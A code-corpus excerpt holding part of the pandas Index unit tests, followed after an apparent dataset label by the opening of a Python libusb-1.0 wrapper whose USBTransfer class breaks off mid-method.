idx.reindex(target)[0].dtype.type assert get_reindex_type([]) == np.object_ assert get_reindex_type(np.array([])) == np.object_ assert get_reindex_type(np.array([], dtype=np.int64)) == np.object_ def test_reindex_doesnt_preserve_type_if_target_is_empty_index(self): # GH7774 idx = pd.Index(list('abc')) def get_reindex_type(target): return idx.reindex(target)[0].dtype.type assert get_reindex_type(pd.Int64Index([])) == np.int64 assert get_reindex_type(pd.Float64Index([])) == np.float64 assert get_reindex_type(pd.DatetimeIndex([])) == np.datetime64 reindexed = idx.reindex(pd.MultiIndex( [pd.Int64Index([]), pd.Float64Index([])], [[], []]))[0] assert reindexed.levels[0].dtype.type == np.int64 assert reindexed.levels[1].dtype.type == np.float64 def test_groupby(self): idx = Index(range(5)) groups = idx.groupby(np.array([1, 1, 2, 2, 2])) exp = {1: pd.Index([0, 1]), 2: pd.Index([2, 3, 4])} tm.assert_dict_equal(groups, exp) def test_equals_op_multiindex(self): # GH9785 # test comparisons of multiindex from pandas.compat import StringIO df = pd.read_csv(StringIO('a,b,c\n1,2,3\n4,5,6'), index_col=[0, 1]) tm.assert_numpy_array_equal(df.index == df.index, np.array([True, True])) mi1 = MultiIndex.from_tuples([(1, 2), (4, 5)]) tm.assert_numpy_array_equal(df.index == mi1, np.array([True, True])) mi2 = MultiIndex.from_tuples([(1, 2), (4, 6)]) tm.assert_numpy_array_equal(df.index == mi2, np.array([True, False])) mi3 = MultiIndex.from_tuples([(1, 2), (4, 5), (8, 9)]) with tm.assert_raises_regex(ValueError, "Lengths must match"): df.index == mi3 index_a = Index(['foo', 'bar', 'baz']) with tm.assert_raises_regex(ValueError, "Lengths must match"): df.index == index_a tm.assert_numpy_array_equal(index_a == mi3, np.array([False, False, False])) def test_conversion_preserves_name(self): # GH 10875 i = pd.Index(['01:02:03', '01:02:04'], name='label') assert i.name == pd.to_datetime(i).name assert i.name == pd.to_timedelta(i).name def test_string_index_repr(self): # py3/py2 repr can differ because of "u" prefix # which also affects to displayed element size if PY3: coerce = lambda x: x else: coerce = unicode # noqa # short idx = pd.Index(['a', 'bb', 'ccc']) if PY3: expected = u"""Index(['a', 'bb', 'ccc'], dtype='object')""" assert repr(idx) == expected else: expected = u"""Index([u'a', u'bb', u'ccc'], dtype='object')""" assert coerce(idx) == expected # multiple lines idx = pd.Index(['a', 'bb', 'ccc'] * 10) if PY3: expected = u"""\ Index(['a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc'], dtype='object')""" assert repr(idx) == expected else: expected = u"""\ Index([u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc'], dtype='object')""" assert coerce(idx) == expected # truncated idx = pd.Index(['a', 'bb', 'ccc'] * 100) if PY3: expected = u"""\ Index(['a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', ... 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc'], dtype='object', length=300)""" assert repr(idx) == expected else: expected = u"""\ Index([u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', ... u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc'], dtype='object', length=300)""" assert coerce(idx) == expected # short idx = pd.Index([u'あ', u'いい', u'ううう']) if PY3: expected = u"""Index(['あ', 'いい', 'ううう'], dtype='object')""" assert repr(idx) == expected else: expected = u"""Index([u'あ', u'いい', u'ううう'], dtype='object')""" assert coerce(idx) == expected # multiple lines idx = pd.Index([u'あ', u'いい', u'ううう'] * 10) if PY3: expected = (u"Index(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', " u"'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう',\n" u" 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', " u"'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう',\n" u" 'あ', 'いい', 'ううう', 'あ', 'いい', " u"'ううう'],\n" u" dtype='object')") assert repr(idx) == expected else: expected = (u"Index([u'あ', u'いい', u'ううう', u'あ', u'いい', " u"u'ううう', u'あ', u'いい', u'ううう', u'あ',\n" u" u'いい', u'ううう', u'あ', u'いい', u'ううう', " u"u'あ', u'いい', u'ううう', u'あ', u'いい',\n" u" u'ううう', u'あ', u'いい', u'ううう', u'あ', " u"u'いい', u'ううう', u'あ', u'いい', u'ううう'],\n" u" dtype='object')") assert coerce(idx) == expected # truncated idx = pd.Index([u'あ', u'いい', u'ううう'] * 100) if PY3: expected = (u"Index(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', " u"'あ', 'いい', 'ううう', 'あ',\n" u" ...\n" u" 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', " u"'ううう', 'あ', 'いい', 'ううう'],\n" u" dtype='object', length=300)") assert repr(idx) == expected else: expected = (u"Index([u'あ', u'いい', u'ううう', u'あ', u'いい', " u"u'ううう', u'あ', u'いい', u'ううう', u'あ',\n" u" ...\n" u" u'ううう', u'あ', u'いい', u'ううう', u'あ', " u"u'いい', u'ううう', u'あ', u'いい', u'ううう'],\n" u" dtype='object', length=300)") assert coerce(idx) == expected # Emable Unicode option ----------------------------------------- with cf.option_context('display.unicode.east_asian_width', True): # short idx = pd.Index([u'あ', u'いい', u'ううう']) if PY3: expected = (u"Index(['あ', 'いい', 'ううう'], " u"dtype='object')") assert repr(idx) == expected else: expected = (u"Index([u'あ', u'いい', u'ううう'], " u"dtype='object')") assert coerce(idx) == expected # multiple lines idx = pd.Index([u'あ', u'いい', u'ううう'] * 10) if PY3: expected = (u"Index(['あ', 'いい', 'ううう', 'あ', 'いい', " u"'ううう', 'あ', 'いい', 'ううう',\n" u" 'あ', 'いい', 'ううう', 'あ', 'いい', " u"'ううう', 'あ', 'いい', 'ううう',\n" u" 'あ', 'いい', 'ううう', 'あ', 'いい', " u"'ううう', 'あ', 'いい', 'ううう',\n" u" 'あ', 'いい', 'ううう'],\n" u" dtype='object')""") assert repr(idx) == expected else: expected = (u"Index([u'あ', u'いい', u'ううう', u'あ', u'いい', " u"u'ううう', u'あ', u'いい',\n" u" u'ううう', u'あ', u'いい', u'ううう', " u"u'あ', u'いい', u'ううう', u'あ',\n" u" u'いい', u'ううう', u'あ', u'いい', " u"u'ううう', u'あ', u'いい',\n" u" u'ううう', u'あ', u'いい', u'ううう', " u"u'あ', u'いい', u'ううう'],\n" u" dtype='object')") assert coerce(idx) == expected # truncated idx = pd.Index([u'あ', u'いい', u'ううう'] * 100) if PY3: expected = (u"Index(['あ', 'いい', 'ううう', 'あ', 'いい', " u"'ううう', 'あ', 'いい', 'ううう',\n" u" 'あ',\n" u" ...\n" u" 'ううう', 'あ', 'いい', 'ううう', 'あ', " u"'いい', 'ううう', 'あ', 'いい',\n" u" 'ううう'],\n" u" dtype='object', length=300)") assert repr(idx) == expected else: expected = (u"Index([u'あ', u'いい', u'ううう', u'あ', u'いい', " u"u'ううう', u'あ', u'いい',\n" u" u'ううう', u'あ',\n" u" ...\n" u" u'ううう', u'あ', u'いい', u'ううう', " u"u'あ', u'いい', u'ううう', u'あ',\n" u" u'いい', u'ううう'],\n" u" dtype='object', length=300)") assert coerce(idx) == expected @pytest.mark.parametrize('dtype', [np.int64, np.float64]) @pytest.mark.parametrize('delta', [1, 0, -1]) def test_addsub_arithmetic(self, dtype, delta): # GH 8142 delta = dtype(delta) idx = pd.Index([10, 11, 12], dtype=dtype) result = idx + delta expected = pd.Index(idx.values + delta, dtype=dtype) tm.assert_index_equal(result, expected) # this subtraction used to fail result = idx - delta expected = pd.Index(idx.values - delta, dtype=dtype) tm.assert_index_equal(result, expected) tm.assert_index_equal(idx + idx, 2 * idx) tm.assert_index_equal(idx - idx, 0 * idx) assert not (idx - idx).empty class TestMixedIntIndex(Base): # Mostly the tests from common.py for which the results differ # in py2 and py3 because ints and strings are uncomparable in py3 # (GH 13514) _holder = Index def setup_method(self, method): self.indices = dict(mixedIndex=Index([0, 'a', 1, 'b', 2, 'c'])) self.setup_indices() def create_index(self): return self.mixedIndex def test_argsort(self): idx = self.create_index() if PY36: with tm.assert_raises_regex(TypeError, "'>|<' not supported"): result = idx.argsort() elif PY3: with tm.assert_raises_regex(TypeError, "unorderable types"): result = idx.argsort() else: result = idx.argsort() expected = np.array(idx).argsort() tm.assert_numpy_array_equal(result, expected, check_dtype=False) def test_numpy_argsort(self): idx = self.create_index() if PY36: with tm.assert_raises_regex(TypeError, "'>|<' not supported"): result = np.argsort(idx) elif PY3: with tm.assert_raises_regex(TypeError, "unorderable types"): result = np.argsort(idx) else: result = np.argsort(idx) expected = idx.argsort() tm.assert_numpy_array_equal(result, expected) def test_copy_name(self): # Check that "name" argument passed at initialization is honoured # GH12309 idx = self.create_index() first = idx.__class__(idx, copy=True, name='mario') second = first.__class__(first, copy=False) # Even though "copy=False", we want a new object. assert first is not second # Not using tm.assert_index_equal() since names differ: assert idx.equals(first) assert first.name == 'mario' assert second.name == 'mario' s1 = Series(2, index=first) s2 = Series(3, index=second[:-1]) warning_type = RuntimeWarning if PY3 else None with tm.assert_produces_warning(warning_type): # Python 3: Unorderable types s3 = s1 * s2 assert s3.index.name == 'mario' def test_copy_name2(self): # Check that adding a "name" parameter to the copy is honored # GH14302 idx = pd.Index([1, 2], name='MyName') idx1 = idx.copy() assert idx.equals(idx1) assert idx.name == 'MyName' assert idx1.name == 'MyName' idx2 = idx.copy(name='NewName') assert idx.equals(idx2) assert idx.name == 'MyName' assert idx2.name == 'NewName' idx3 = idx.copy(names=['NewName']) assert idx.equals(idx3) assert idx.name == 'MyName' assert idx.names == ['MyName'] assert idx3.name == 'NewName' assert idx3.names == ['NewName'] def test_union_base(self): idx = self.create_index() first = idx[3:] second = idx[:5] if PY3: with tm.assert_produces_warning(RuntimeWarning): # unorderable types result = first.union(second) expected = Index(['b', 2, 'c', 0, 'a', 1]) tm.assert_index_equal(result, expected) else: result = first.union(second) expected = Index(['b', 2, 'c', 0, 'a', 1]) tm.assert_index_equal(result, expected) # GH 10149 cases = [klass(second.values) for klass in [np.array, Series, list]] for case in cases: if PY3: with tm.assert_produces_warning(RuntimeWarning): # unorderable types result = first.union(case) assert tm.equalContents(result, idx) else: result = first.union(case) assert tm.equalContents(result, idx) def test_intersection_base(self): # (same results for py2 and py3 but sortedness not tested elsewhere) idx = self.create_index() first = idx[:5] second = idx[:3] result = first.intersection(second) expected = Index([0, 'a', 1]) tm.assert_index_equal(result, expected) # GH 10149 cases = [klass(second.values) for klass in [np.array, Series, list]] for case in cases: result = first.intersection(case) assert tm.equalContents(result, second) def test_difference_base(self): # (same results for py2 and py3 but sortedness not tested elsewhere) idx = self.create_index() first = idx[:4] second = idx[3:] result = first.difference(second) expected = Index([0, 1, 'a']) tm.assert_index_equal(result, expected) def test_symmetric_difference(self): # (same results for py2 and py3 but sortedness not tested elsewhere) idx = self.create_index() first = idx[:4] second = idx[3:] result = first.symmetric_difference(second) expected = Index([0, 1, 2, 'a', 'c']) tm.assert_index_equal(result, expected) def test_logical_compat(self): idx = self.create_index() assert idx.all() == idx.values.all() assert idx.any() == idx.values.any() def test_dropna(self): # GH 6194 for dtype in [None, object, 'category']: idx = pd.Index([1, 2, 3], dtype=dtype) tm.assert_index_equal(idx.dropna(), idx) idx = pd.Index([1., 2., 3.], dtype=dtype) tm.assert_index_equal(idx.dropna(), idx) nanidx = pd.Index([1., 2., np.nan, 3.], dtype=dtype) tm.assert_index_equal(nanidx.dropna(), idx) idx = pd.Index(['A', 'B', 'C'], dtype=dtype) tm.assert_index_equal(idx.dropna(), idx) nanidx = pd.Index(['A', np.nan, 'B', 'C'], dtype=dtype) tm.assert_index_equal(nanidx.dropna(), idx) tm.assert_index_equal(nanidx.dropna(how='any'), idx) tm.assert_index_equal(nanidx.dropna(how='all'), idx) idx = pd.DatetimeIndex(['2011-01-01', '2011-01-02', '2011-01-03']) tm.assert_index_equal(idx.dropna(), idx) nanidx = pd.DatetimeIndex(['2011-01-01', '2011-01-02', '2011-01-03', pd.NaT]) tm.assert_index_equal(nanidx.dropna(), idx) idx = pd.TimedeltaIndex(['1 days', '2 days', '3 days']) tm.assert_index_equal(idx.dropna(), idx) nanidx = pd.TimedeltaIndex([pd.NaT, '1 days', '2 days', '3 days', pd.NaT]) tm.assert_index_equal(nanidx.dropna(), idx) idx = pd.PeriodIndex(['2012-02', '2012-04', '2012-05'], freq='M') tm.assert_index_equal(idx.dropna(), idx) nanidx = pd.PeriodIndex(['2012-02', '2012-04', 'NaT', '2012-05'], freq='M') tm.assert_index_equal(nanidx.dropna(), idx) msg = "invalid how option: xxx" with tm.assert_raises_regex(ValueError, msg): pd.Index([1, 2, 3]).dropna(how='xxx') def test_get_combined_index(self): result = _get_combined_index([]) tm.assert_index_equal(result, Index([])) def test_repeat(self): repeats = 2 idx = pd.Index([1, 2, 3]) expected = pd.Index([1, 1, 2, 2, 3, 3]) result = idx.repeat(repeats) tm.assert_index_equal(result, expected) with tm.assert_produces_warning(FutureWarning): result = idx.repeat(n=repeats) tm.assert_index_equal(result, expected) def test_is_monotonic_na(self): examples = [pd.Index([np.nan]), pd.Index([np.nan, 1]), pd.Index([1, 2, np.nan]), pd.Index(['a', 'b', np.nan]), pd.to_datetime(['NaT']), pd.to_datetime(['NaT', '2000-01-01']), pd.to_datetime(['2000-01-01', 'NaT', '2000-01-02']), pd.to_timedelta(['1 day', 'NaT']), ] for index in examples: assert not index.is_monotonic_increasing assert not index.is_monotonic_decreasing assert not index._is_strictly_monotonic_increasing assert not index._is_strictly_monotonic_decreasing def test_repr_summary(self): with cf.option_context('display.max_seq_items', 10): r = repr(pd.Index(np.arange(1000))) assert len(r) < 200 assert "..." in r def test_int_name_format(self): index = Index(['a', 'b', 'c'], name=0) s = Series(lrange(3), index) df = DataFrame(lrange(3), index=index) repr(s) repr(df) def test_print_unicode_columns(self): df = pd.DataFrame({u("\u05d0"): [1, 2, 3], "\u05d1": [4, 5, 6], "c": [7, 8, 9]}) repr(df.columns) # should not raise UnicodeDecodeError def test_unicode_string_with_unicode(self): idx = Index(lrange(1000)) if PY3: str(idx) else: text_type(idx) def test_bytestring_with_unicode(self): idx = Index(lrange(1000)) if PY3: bytes(idx) else: str(idx) def test_intersect_str_dates(self): dt_dates = [datetime(2012, 2, 9), datetime(2012, 2, 22)] i1 = Index(dt_dates, dtype=object) i2 = Index(['aa'], dtype=object) res = i2.intersection(i1) assert len(res) == 0 class TestIndexUtils(object): @pytest.mark.parametrize('data, names, expected', [ ([[1, 2, 3]], None, Index([1, 2, 3])), ([[1, 2, 3]], ['name'], Index([1, 2, 3], name='name')), ([['a', 'a'], ['c', 'd']], None, MultiIndex([['a'], ['c', 'd']], [[0, 0], [0, 1]])), ([['a', 'a'], ['c', 'd']], ['L1', 'L2'], MultiIndex([['a'], ['c', 'd']], [[0, 0], [0, 1]], names=['L1', 'L2'])), ]) def test_ensure_index_from_sequences(self, data, names, expected): result = _ensure_index_from_sequences(data, names) tm.assert_index_equal(result, expected) @pytest.mark.parametrize('opname', ['eq', 'ne', 'le', 'lt', 'ge', 'gt']) def test_generated_op_names(opname, indices): index = indices opname = '__{name}__'.format(name=opname) method = getattr(index, opname) assert method.__name__ == opname
codeparrot/github-code-clean
""" Pythonic wrapper for libusb-1.0. The first thing you must do is to get an "USB context". To do so, create an USBContext instance. Then, you can use it to browse available USB devices and open the one you want to talk to. At this point, you should have a USBDeviceHandle instance (as returned by USBContext or USBDevice instances), and you can start exchanging with the device. Features: - Basic device settings (configuration & interface selection, ...) - String descriptor lookups (ASCII & unicode), and list supported language codes - Synchronous I/O (control, bulk, interrupt) - Asynchronous I/O (control, bulk, interrupt, isochronous) Note: Isochronous support is not well tested. See USBPoller, USBTransfer and USBTransferHelper. """ import libusb1 from ctypes import byref, create_string_buffer, c_int, sizeof, POINTER, \ cast, c_uint8, c_uint16, c_ubyte, string_at, c_void_p, cdll, addressof import sys import threading from ctypes.util import find_library import warnings import weakref import collections try: namedtuple = collections.namedtuple except AttributeError: Version = lambda *x: x else: Version = namedtuple('Version', ['major', 'minor', 'micro', 'nano', 'rc', 'describe']) if sys.version_info[0] == 3: BYTE = bytes([0]) xrange = range long = int else: BYTE = '\x00' CONTROL_SETUP = BYTE * libusb1.LIBUSB_CONTROL_SETUP_SIZE __all__ = ['USBContext', 'USBDeviceHandle', 'USBDevice', 'USBPoller', 'USBTransfer', 'USBTransferHelper', 'EVENT_CALLBACK_SET', 'USBPollerThread', 'USBEndpoint', 'USBInterfaceSetting', 'USBInterface', 'USBConfiguration', 'DoomedTransferError', 'getVersion', ] if sys.version_info[:2] >= (2, 6): if sys.platform == 'win32': from ctypes import get_last_error as get_errno else: from ctypes import get_errno else: def get_errno(): raise NotImplementedError("Your python version doesn't support " "errno/last_error") __libc_name = find_library('c') if __libc_name is None: # Of course, will leak memory. # Should we warn user ? How ? _free = lambda x: None else: _free = getattr(cdll, __libc_name).free del __libc_name try: WeakSet = weakref.WeakSet except AttributeError: # Python < 2.7: tiny wrapper around WeakKeyDictionary class WeakSet(object): def __init__(self): self.__dict = weakref.WeakKeyDictionary() def add(self, item): self.__dict[item] = None def pop(self): return self.__dict.popitem()[0] # Default string length # From a comment in libusb-1.0: "Some devices choke on size > 255" STRING_LENGTH = 255 # As of v3 of USB specs, there cannot be more than 7 hubs from controler to # device. PATH_MAX_DEPTH = 7 EVENT_CALLBACK_SET = frozenset(( libusb1.LIBUSB_TRANSFER_COMPLETED, libusb1.LIBUSB_TRANSFER_ERROR, libusb1.LIBUSB_TRANSFER_TIMED_OUT, libusb1.LIBUSB_TRANSFER_CANCELLED, libusb1.LIBUSB_TRANSFER_STALL, libusb1.LIBUSB_TRANSFER_NO_DEVICE, libusb1.LIBUSB_TRANSFER_OVERFLOW, )) DEFAULT_ASYNC_TRANSFER_ERROR_CALLBACK = lambda x: False def create_binary_buffer(string_or_len): # Prevent ctypes from adding a trailing null char. if isinstance(string_or_len, (int, long)): result = create_string_buffer(string_or_len) else: result = create_string_buffer(string_or_len, len(string_or_len)) return result class DoomedTransferError(Exception): """Exception raised when altering/submitting a doomed transfer.""" pass class USBTransfer(object): """ USB asynchronous transfer control & data. All modification methods will raise if called on a submitted transfer. Methods noted as "should not be called on a submitted transfer" will not prevent you from reading, but returned value is unspecified. Note on user_data: because of pypy's current ctype restrictions, user_data is not provided to C level, but is managed purely in python. It should change nothing for you, unless you are looking at underlying C transfer structure - which you should never have to. """ # Prevent garbage collector from freeing the free function before our # instances, as we need it to property destruct them. __libusb_free_transfer = libusb1.libusb_free_transfer __libusb_cancel_transfer = libusb1.libusb_cancel_transfer __USBError = libusb1.USBError __LIBUSB_ERROR_NOT_FOUND = libusb1.LIBUSB_ERROR_NOT_FOUND __transfer = None __initialized = False __submitted = False __callback = None __ctypesCallbackWrapper = None __doomed = False __user_data = None __transfer_buffer = None def __init__(self, handle, iso_packets, before_submit, after_completion): """ You should not instanciate this class directly. Call "getTransfer" method on an USBDeviceHandle instance to get instances of this class. """ if iso_packets < 0: raise ValueError('Cannot request a negative number of iso ' 'packets.') self.__handle = handle self.__before_submit = before_submit self.__after_completion = after_completion self.__num_iso_packets = iso_packets result = libusb1.libusb_alloc_transfer(iso_packets) if not result: raise libusb1.USBError('Unable to get a transfer object') self.__transfer = result self.__ctypesCallbackWrapper = libusb1.libusb_transfer_cb_fn_p( self.__callbackWrapper) def close(self): """ Break reference cycles to allow instance to be garbage-collected. Raises if called on a submitted transfer. """ if self.__submitted: raise ValueError('Cannot close a submitted transfer') self.doom() self.__initialized = False # Break possible external reference cycles self.__callback = None self.__user_data = None # Break libusb_transfer reference cycles self.__ctypesCallbackWrapper = None # For some reason, overwriting callback is not enough to remove this # reference cycle - though sometimes it works: # self -> self.__dict__ -> libusb_transfer -> dict[x] -> dict[x] -> # CThunkObject -> __callbackWrapper -> self # So free transfer altogether. if self.__transfer is not None: self.__libusb_free_transfer(self.__transfer) self.__transfer = None self.__transfer_buffer = None # Break USBDeviceHandle reference cycle self.__before_submit = None self.__after_completion = None def doom(self): """ Prevent transfer from being submitted again. """ self.__doomed = True def __del__(self): if self.__transfer is not None: try: # If this doesn't raise, we're doomed; transfer was submitted, # still python decided to garbage-collect this instance. # Stick to libusb's documentation, and don't free the # transfer. If interpreter is shutting down, kernel will # reclaim memory anyway. # Note: we can't prevent transfer's buffer from being # garbage-collected as soon as there will be no remaining # reference to transfer, so a segfault might happen anyway. # Should we warn user ? How ? self.cancel() except self.__USBError: if sys.exc_info()[1].value == self.__LIBUSB_ERROR_NOT_FOUND: # Transfer was not submitted, we can free it. self.__libusb_free_transfer(self.__transfer) else: raise def __callbackWrapper(self, transfer_p): """ Makes it possible for user-provided callback to alter transfer when fired (ie, mark transfer as not submitted upon call). """ self.__submitted = False self.__after_completion(self) callback = self.__callback if callback is not None: callback(self) if self.__doomed: self.close() def setCallback(self, callback): """ Change transfer's callback. """ self.__callback = callback def getCallback(self): """ Get currently set callback. """ return self.__callback def setControl(self, request_type, request, value, index, buffer_or_len, callback=None, user_data=None, timeout=0): """ Setup transfer for control use. request_type, request, value, index See USBDeviceHandle.controlWrite. request_type defines transfer direction (see libusb1.LIBUSB_ENDPOINT_OUT and libusb1.LIBUSB_ENDPOINT_IN)). buffer_or_len Either a string (when sending data), or expected data length (when receiving data). callback Callback function to be invoked on transfer completion. Called with transfer as parameter, return value ignored. user_data User data to pass to callback function. timeout Transfer timeout in milliseconds. 0 to disable. """ if self.__submitted: raise ValueError('Cannot alter a submitted transfer') if self.__doomed: raise DoomedTransferError('Cannot reuse a doomed transfer') if isinstance(buffer_or_len, (int, long)): length = buffer_or_len string_buffer = create_binary_buffer(length + libusb1.LIBUSB_CONTROL_SETUP_SIZE) else: length = len(buffer_or_len) string_buffer = create_binary_buffer(CONTROL_SETUP + buffer_or_len) self.__initialized = False self.__transfer_buffer = string_buffer self.__user_data = user_data libusb1.libusb_fill_control_setup(string_buffer, request_type, request, value, index, length) libusb1.libusb_fill_control_transfer(self.__transfer, self.__handle, string_buffer, self.__ctypesCallbackWrapper, None, timeout) self.__callback = callback self.__initialized = True def setBulk(self, endpoint, buffer_or_len, callback=None, user_data=None, timeout=0): """ Setup transfer for bulk use. endpoint Endpoint to submit transfer to. Defines transfer direction (see libusb1.LIBUSB_ENDPOINT_OUT and libusb1.LIBUSB_ENDPOINT_IN)). buffer_or_len Either a string (when sending data), or expected data length (when receiving data) callback Callback function to be invoked on transfer completion. Called with transfer as parameter, return value ignored. user_data User data to pass to callback function. timeout Transfer timeout in milliseconds. 0 to disable. """ if self.__submitted: raise ValueError('Cannot alter a submitted transfer') if self.__doomed: raise DoomedTransferError('Cannot reuse a doomed transfer') string_buffer = create_binary_buffer(buffer_or_len) self.__initialized = False self.__transfer_buffer = string_buffer self.__user_data = user_data libusb1.libusb_fill_bulk_transfer(self.__transfer, self.__handle, endpoint, string_buffer, sizeof(string_buffer), self.__ctypesCallbackWrapper, None, timeout) self.__callback = callback self.__initialized = True def setInterrupt(self, endpoint, buffer_or_len, callback=None, user_data=None, timeout=0): """ Setup transfer for interrupt use. endpoint Endpoint to submit transfer to. Defines transfer direction (see libusb1.LIBUSB_ENDPOINT_OUT and libusb1.LIBUSB_ENDPOINT_IN)). buffer_or_len Either a string (when sending data), or expected data length (when receiving data) callback Callback function to be invoked on transfer completion. Called with transfer as parameter, return value ignored. user_data User data to pass to callback function. timeout Transfer timeout in milliseconds. 0 to disable. """ if self.__submitted: raise ValueError('Cannot alter a submitted transfer') if self.__doomed: raise DoomedTransferError('Cannot reuse a doomed transfer') string_buffer = create_binary_buffer(buffer_or_len) self.__initialized = False self.__transfer_buffer = string_buffer self.__user_data = user_data libusb1.libusb_fill_interrupt_transfer(self.__transfer, self.__handle, endpoint, string_buffer, sizeof(string_buffer), self.__ctypesCallbackWrapper, None, timeout) self.__callback = callback self.__initialized = True def setIsochronous(self, endpoint, buffer_or_len, callback=None, user_data=None, timeout=0, iso_transfer_length_list=None): """ Setup transfer for isochronous use. endpoint Endpoint to submit transfer to. Defines transfer direction (see libusb1.LIBUSB_ENDPOINT_OUT and libusb1.LIBUSB_ENDPOINT_IN)). buffer_or_len Either a string (when sending data), or expected data length (when receiving data) callback Callback function to be invoked on transfer completion. Called with transfer as parameter, return value ignored. user_data User data to pass to callback function. timeout Transfer timeout in milliseconds. 0 to disable. iso_transfer_length_list List of individual transfer sizes. If not provided, buffer_or_len will be divided evenly among available transfers if possible, and raise ValueError otherwise. """ if self.__submitted: raise ValueError('Cannot alter a submitted transfer') num_iso_packets = self.__num_iso_packets if num_iso_packets == 0: raise TypeError('This transfer canot be used for isochronous I/O. ' 'You must get another one with a non-zero iso_packets ' 'parameter.') if self.__doomed: raise DoomedTransferError('Cannot reuse a doomed transfer') string_buffer = create_binary_buffer(buffer_or_len) buffer_length = sizeof(string_buffer) if iso_transfer_length_list is None: iso_length, remainder = divmod(buffer_length, num_iso_packets) if remainder: raise ValueError('Buffer size %i cannot be evenly ' 'distributed among %i transfers' % (buffer_length, num_iso_packets)) iso_transfer_length_list = [iso_length] * num_iso_packets configured_iso_packets = len(iso_transfer_length_list) if configured_iso_packets > num_iso_packets: raise ValueError('Too many ISO transfer lengths (%i), there are ' 'only %i ISO transfers available' % (configured_iso_packets, num_iso_packets)) if sum(iso_transfer_length_list) > buffer_length: raise ValueError('ISO transfers too long (%i), there are only ' '%i bytes available' % (sum(iso_transfer_length_list), buffer_length)) transfer_p = self.__transfer self.__initialized = False self.__transfer_buffer = string_buffer self.__user_data = user_data libusb1.libusb_fill_iso_transfer(transfer_p, self.__handle, endpoint, string_buffer, buffer_length, configured_iso_packets, self.__ctypesCallbackWrapper, None, timeout) for length, iso_packet_desc in zip(iso_transfer_length_list, libusb1.get_iso_packet_list(transfer_p)): if length <= 0: raise ValueError('Negative/null length transfers are not ' 'possible.') iso_packet_desc.length = length self.__callback = callback self.__initialized = True def getType(self): """ Get transfer type. See libusb1.libusb_transfer_type. """ return self.__transfer.contents.type def getEndpoint(self): """ Get endpoint. """ return self.__transfer.contents.endpoint def getStatus(self): """ Get transfer status. Should not be called on a submitted transfer. """ return self.__transfer.contents.status def getActualLength(self): """ Get actually transfered data length. Should not be called on a submitted transfer. """ return self.__transfer.contents.actual_length def getBuffer(self): """ Get data buffer content. Should not be called on a submitted transfer. """ transfer_p = self.__transfer transfer = transfer_p.contents if transfer.type == libusb1.LIBUSB_TRANSFER_TYPE_CONTROL: result = libusb1.libusb_control_transfer_get_data(transfer_p) else: result = string_at(transfer.buffer, transfer.length) return result def getUserData(self): """ Retrieve user data provided on setup. """ return self.__user_data def setUserData(self, user_data): """ Change user data. """ self.__user_data = user_data def getISOBufferList(self): """ Get individual ISO transfer's buffer. Returns a list with one item per ISO transfer, with their individually-configured sizes. Returned list is consistent with getISOSetupList return value. Should not be called on a submitted transfer. See also iterISO. """ transfer_p = self.__transfer transfer = transfer_p.contents if transfer.type != libusb1.LIBUSB_TRANSFER_TYPE_ISOCHRONOUS: raise TypeError('This method cannot be called on non-iso ' 'transfers.') return libusb1.get_iso_packet_buffer_list(transfer_p) def getISOSetupList(self): """ Get individual ISO transfer's setup. Returns a list of dicts, each containing an individual ISO transfer parameters: - length - actual_length - status (see libusb1's API documentation for their signification) Returned list is consistent with getISOBufferList return value. Should not be called on a submitted transfer (except for 'length' values). """ transfer_p = self.__transfer transfer = transfer_p.contents if transfer.type != libusb1.LIBUSB_TRANSFER_TYPE_ISOCHRONOUS: raise TypeError('This method cannot be called on non-iso ' 'transfers.') return [{ 'length': x.length, 'actual_length': x.actual_length, 'status': x.status, } for x in libusb1.get_iso_packet_list(transfer_p)] def iterISO(self): """ Generator yielding (status, buffer) for each isochornous transfer. buffer is truncated to actual_length. This is more efficient than calling both getISOBufferList and getISOSetupList when receiving data. Should not be called on a submitted transfer. """ transfer_p = self.__transfer transfer = transfer_p.contents if transfer.type != libusb1.LIBUSB_TRANSFER_TYPE_ISOCHRONOUS: raise TypeError('This method cannot be called on non-iso ' 'transfers.') buffer_position = transfer.buffer for iso_transfer in libusb1.get_iso_packet_list(transfer_p): yield ( iso_transfer.status, string_at(buffer_position, iso_transfer.actual_length), ) buffer_position += iso_transfer.length def setBuffer(self, buffer_or_len): """ Replace buffer with a new one. Allows resizing read buffer and replacing data sent. Note: resizing is not allowed for isochronous buffer (use setIsochronous). Note: disallowed on control transfers (use setControl). """ if self.__submitted: raise ValueError('Cannot alter a submitted transfer') transfer = self.__transfer.contents if transfer.type == libusb1.LIBUSB_TRANSFER_TYPE_CONTROL: raise ValueError('To alter control transfer buffer, use ' 'setControl') buff = create_binary_buffer(buffer_or_len) if transfer.type == libusb1.LIBUSB_TRANSFER_TYPE_ISOCHRONOUS and \ sizeof(buff) != transfer.length: raise ValueError('To alter isochronous transfer buffer length, ' 'use setIsochronous') self.__transfer_buffer = buff transfer.buffer = cast(buff, c_void_p) transfer.length = sizeof(buff) def isSubmitted(self): """ Tells if this transfer is submitted and still pending. """ return self.__submitted def submit(self): """ Submit transfer for asynchronous handling. """ if self.__submitted: raise ValueError('Cannot submit a submitted transfer') if not self.__initialized: raise ValueError('Cannot submit a transfer until it has been ' 'initialized') if self.__doomed: raise DoomedTransferError('Cannot submit doomed transfer') self.__before_submit(self) self.__submitted = True result = 